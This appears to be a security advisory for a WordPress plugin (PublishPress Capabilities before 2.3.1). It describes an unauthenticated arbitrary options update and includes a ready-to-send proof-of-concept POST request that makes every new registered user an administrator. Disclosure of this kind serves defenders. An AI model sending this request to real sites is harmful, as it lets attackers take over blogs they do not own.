PublishPress Capabilities < 2.3.1 - Unauthenticated Arbitrary Options Update to Blog Compromise

2021-12-0800:00:00

Krzysztof Zając

0.001 Low

EPSS

Percentile

45.7%

JSON

The plugin does not have authorisation and CSRF checks when updating the plugin’s settings via the init hook, and does not ensure that the options to be updated belong to the plugin. As a result, unauthenticated attackers could update arbitrary blog options, such as the default role and make any new registered user with an administrator role. The issue is currently being exploited.

POST /wp-admin/admin.php HTTP/1.1
Accept: application/json, text/javascript, */*; q=0.01
Accept-Language: en-GB,en;q=0.5
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Content-Length: 81
Connection: close

page=pp-capabilities-settings&all_options=default_role&default_role=administrator